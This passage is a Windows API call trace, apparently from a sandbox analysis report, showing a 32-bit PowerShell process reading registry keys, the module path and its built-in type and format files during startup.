lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.429] GetLastError () returned 0x3 [0063.430] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0063.430] GetLastError () returned 0x3 [0063.431] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x413238, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0063.431] GetLastError () returned 0x3 [0063.431] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee9f0 | out: phkResult=0x2ee9f0*=0x344) returned 0x0 [0063.432] RegQueryValueExW (in: hKey=0x344, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x2eea34, lpData=0x0, lpcbData=0x2eea30*=0x0 | out: lpType=0x2eea34*=0x2, lpData=0x0, lpcbData=0x2eea30*=0x6c) returned 0x0 [0063.432] RegQueryValueExW (in: hKey=0x344, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x2eea34, lpData=0x413238, lpcbData=0x2eea30*=0x6c | out: lpType=0x2eea34*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x2eea30*=0x6c) returned 0x0 [0063.432] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x413238, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0063.432] GetLastError () returned 0x3 [0063.432] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x413238, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0063.432] GetLastError () returned 0x3 [0063.433] RegCloseKey (hKey=0x344) returned 0x0 [0063.433] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x413238, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0063.433] GetLastError () returned 0x3 [0063.433] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee9f0 | out: phkResult=0x2ee9f0*=0x344) returned 0x0 [0063.433] RegQueryValueExW (in: hKey=0x344, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x2eea34, lpData=0x0, lpcbData=0x2eea30*=0x0 | out: lpType=0x2eea34*=0x0, lpData=0x0, lpcbData=0x2eea30*=0x0) returned 0x2 [0063.434] RegCloseKey (hKey=0x344) returned 0x0 [0063.448] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x413238 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0063.450] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2ee558, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0063.450] GetLastError () returned 0x3f0 [0063.452] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0063.452] GetLastError () returned 0x3f0 [0063.461] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee970 | out: phkResult=0x2ee970*=0x34c) returned 0x0 [0063.461] RegQueryValueExW (in: hKey=0x34c, lpValueName="path", lpReserved=0x0, lpType=0x2ee9d8, lpData=0x0, lpcbData=0x2ee9d4*=0x0 | out: lpType=0x2ee9d8*=0x1, lpData=0x0, lpcbData=0x2ee9d4*=0x74) returned 0x0 [0063.462] RegQueryValueExW (in: hKey=0x34c, lpValueName="path", lpReserved=0x0, lpType=0x2ee9b8, lpData=0x0, lpcbData=0x2ee9b4*=0x0 | out: lpType=0x2ee9b8*=0x1, lpData=0x0, lpcbData=0x2ee9b4*=0x74) returned 0x0 [0063.462] RegQueryValueExW (in: hKey=0x34c, lpValueName="path", lpReserved=0x0, lpType=0x2ee9b8, lpData=0x413238, lpcbData=0x2ee9b4*=0x74 | out: lpType=0x2ee9b8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x2ee9b4*=0x74) returned 0x0 [0063.483] GetLastError () returned 0xcb [0063.483] SetErrorMode (uMode=0x1) returned 0x1 [0063.514] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee3bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0063.514] GetLastError () returned 0x0 [0063.514] SetErrorMode (uMode=0x1) returned 0x1 [0063.515] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0063.515] GetLastError () returned 0x0 [0063.518] ReadFile (in: hFile=0x350, lpBuffer=0x2c60640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee924, lpOverlapped=0x0 | out: lpBuffer=0x2c60640*, lpNumberOfBytesRead=0x2ee924*=0x1000, lpOverlapped=0x0) returned 1 [0063.522] GetLastError () returned 0x0 [0063.523] CloseHandle (hObject=0x350) returned 1 [0063.523] GetLastError () returned 0x0 [0063.524] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee8a8 | out: phkResult=0x2ee8a8*=0x350) returned 0x0 [0063.524] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee8f0, lpData=0x0, lpcbData=0x2ee8ec*=0x0 | out: lpType=0x2ee8f0*=0x1, lpData=0x0, lpcbData=0x2ee8ec*=0x56) returned 0x0 [0063.524] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee8f0, lpData=0x413238, lpcbData=0x2ee8ec*=0x56 | out: lpType=0x2ee8f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee8ec*=0x56) returned 0x0 [0063.525] RegCloseKey (hKey=0x350) returned 0x0 [0063.525] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0063.525] GetLastError () returned 0x0 [0063.525] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee3e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0063.525] GetLastError () returned 0x0 [0063.876] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee8a8 | out: phkResult=0x2ee8a8*=0x350) returned 0x0 [0063.876] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee8f0, lpData=0x0, lpcbData=0x2ee8ec*=0x0 | out: lpType=0x2ee8f0*=0x1, lpData=0x0, lpcbData=0x2ee8ec*=0x56) returned 0x0 [0063.876] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee8f0, lpData=0x413238, lpcbData=0x2ee8ec*=0x56 | out: lpType=0x2ee8f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee8ec*=0x56) returned 0x0 [0063.876] RegCloseKey (hKey=0x350) returned 0x0 [0063.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0063.876] GetLastError () returned 0x0 [0063.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee3e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0063.876] GetLastError () returned 0x0 [0064.634] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee96c | out: phkResult=0x2ee96c*=0x34c) returned 0x0 [0064.634] RegQueryValueExW (in: hKey=0x34c, lpValueName="path", lpReserved=0x0, lpType=0x2ee9d4, lpData=0x0, lpcbData=0x2ee9d0*=0x0 | out: lpType=0x2ee9d4*=0x1, lpData=0x0, lpcbData=0x2ee9d0*=0x74) returned 0x0 [0064.634] RegQueryValueExW (in: hKey=0x34c, lpValueName="path", lpReserved=0x0, lpType=0x2ee9b4, lpData=0x0, lpcbData=0x2ee9b0*=0x0 | out: lpType=0x2ee9b4*=0x1, lpData=0x0, lpcbData=0x2ee9b0*=0x74) returned 0x0 [0064.634] RegQueryValueExW (in: hKey=0x34c, lpValueName="path", lpReserved=0x0, lpType=0x2ee9b4, lpData=0x413238, lpcbData=0x2ee9b0*=0x74 | out: lpType=0x2ee9b4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x2ee9b0*=0x74) returned 0x0 [0064.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x2ee534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0064.634] GetLastError () returned 0xcb [0064.634] SetErrorMode (uMode=0x1) returned 0x1 [0064.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x2ee9b4 | out: lpFileInformation=0x2ee9b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0064.635] GetLastError () returned 0xcb [0064.635] SetErrorMode (uMode=0x1) returned 0x1 [0064.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.638] GetLastError () returned 0xcb [0064.638] SetErrorMode (uMode=0x1) returned 0x1 [0064.639] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ee9a8 | out: lpFileInformation=0x2ee9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0064.663] GetLastError () returned 0xcb [0064.663] SetErrorMode (uMode=0x1) returned 0x1 [0064.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0064.663] GetLastError () returned 0xcb [0064.663] SetErrorMode (uMode=0x1) returned 0x1 [0064.663] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ee9a8 | out: lpFileInformation=0x2ee9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0064.665] GetLastError () returned 0xcb [0064.665] SetErrorMode (uMode=0x1) returned 0x1 [0064.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.665] GetLastError () returned 0xcb [0064.665] SetErrorMode (uMode=0x1) returned 0x1 [0064.665] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ee9a8 | out: lpFileInformation=0x2ee9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0064.672] GetLastError () returned 0xcb [0064.672] SetErrorMode (uMode=0x1) returned 0x1 [0064.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.673] GetLastError () returned 0xcb [0064.673] SetErrorMode (uMode=0x1) returned 0x1 [0064.673] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ee9a8 | out: lpFileInformation=0x2ee9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0064.673] GetLastError () returned 0xcb [0064.673] SetErrorMode (uMode=0x1) returned 0x1 [0064.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0064.673] GetLastError () returned 0xcb [0064.673] SetErrorMode (uMode=0x1) returned 0x1 [0064.673] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ee9a8 | out: lpFileInformation=0x2ee9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0064.673] GetLastError () returned 0xcb [0064.673] SetErrorMode (uMode=0x1) returned 0x1 [0064.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0064.673] GetLastError () returned 0xcb [0064.673] SetErrorMode (uMode=0x1) returned 0x1 [0064.673] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ee9a8 | out: lpFileInformation=0x2ee9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0064.674] GetLastError () returned 0xcb [0064.674] SetErrorMode (uMode=0x1) returned 0x1 [0064.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0064.674] GetLastError () returned 0xcb [0064.674] SetErrorMode (uMode=0x1) returned 0x1 [0064.674] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ee9a8 | out: lpFileInformation=0x2ee9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0064.674] GetLastError () returned 0xcb [0064.674] SetErrorMode (uMode=0x1) returned 0x1 [0064.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0064.674] GetLastError () returned 0xcb [0064.674] SetErrorMode (uMode=0x1) returned 0x1 [0064.674] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ee9a8 | out: lpFileInformation=0x2ee9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0064.683] GetLastError () returned 0xcb [0064.683] SetErrorMode (uMode=0x1) returned 0x1 [0064.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0064.683] GetLastError () returned 0xcb [0064.683] SetErrorMode (uMode=0x1) returned 0x1 [0064.683] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ee9a8 | out: lpFileInformation=0x2ee9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0064.683] GetLastError () returned 0xcb [0064.683] SetErrorMode (uMode=0x1) returned 0x1 [0064.685] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.685] GetLastError () returned 0xcb [0064.696] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.696] GetLastError () returned 0xcb [0064.697] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.697] GetLastError () returned 0xcb [0064.703] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0064.703] GetLastError () returned 0xcb [0064.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.704] GetLastError () returned 0xcb [0064.704] SetErrorMode (uMode=0x1) returned 0x1 [0064.705] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x31c [0064.705] GetLastError () returned 0x0 [0064.705] GetFileType (hFile=0x31c) returned 0x1 [0064.705] SetErrorMode (uMode=0x1) returned 0x1 [0064.705] GetFileType (hFile=0x31c) returned 0x1 [0064.705] ReadFile (in: hFile=0x31c, lpBuffer=0x2f6e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x2f6e608*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.706] GetLastError () returned 0x0 [0064.707] ReadFile (in: hFile=0x31c, lpBuffer=0x2f6e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x2f6e608*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.707] GetLastError () returned 0x0 [0064.708] ReadFile (in: hFile=0x31c, lpBuffer=0x2f6e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x2f6e608*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.708] GetLastError () returned 0x0 [0064.708] ReadFile (in: hFile=0x31c, lpBuffer=0x2f6e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x2f6e608*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.708] GetLastError () returned 0x0 [0064.708] ReadFile (in: hFile=0x31c, lpBuffer=0x2f6e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x2f6e608*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.708] GetLastError () returned 0x0 [0064.708] ReadFile (in: hFile=0x31c, lpBuffer=0x2f6e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x2f6e608*, lpNumberOfBytesRead=0x2ee824*=0x1000, lpOverlapped=0x0) returned 1 [0064.708] GetLastError () returned 0x0 [0064.709] ReadFile (in: hFile=0x31c, lpBuffer=0x2f6e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x2f6e608*, lpNumberOfBytesRead=0x2ee824*=0x9e2, lpOverlapped=0x0) returned 1 [0064.709] GetLastError () returned 0x0 [0064.709] ReadFile (in: hFile=0x31c, lpBuffer=0x2f6db8a, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x2f6db8a*, lpNumberOfBytesRead=0x2ee824*=0x0, lpOverlapped=0x0) returned 1 [0064.709] GetLastError () returned 0x0 [0064.709] ReadFile (in: hFile=0x31c, lpBuffer=0x2f6e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ee824, lpOverlapped=0x0 | out: lpBuffer=0x2f6e608*, lpNumberOfBytesRead=0x2ee824*=0x0, lpOverlapped=0x0) returned 1 [0064.709] GetLastError () returned 0x0 [0064.709] CloseHandle (hObject=0x31c) returned 1 [0064.709] GetLastError () returned 0x0 [0064.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0064.709] GetLastError () returned 0x0 [0064.709] SetErrorMode (uMode=0x1) returned 0x1 [0064.709] 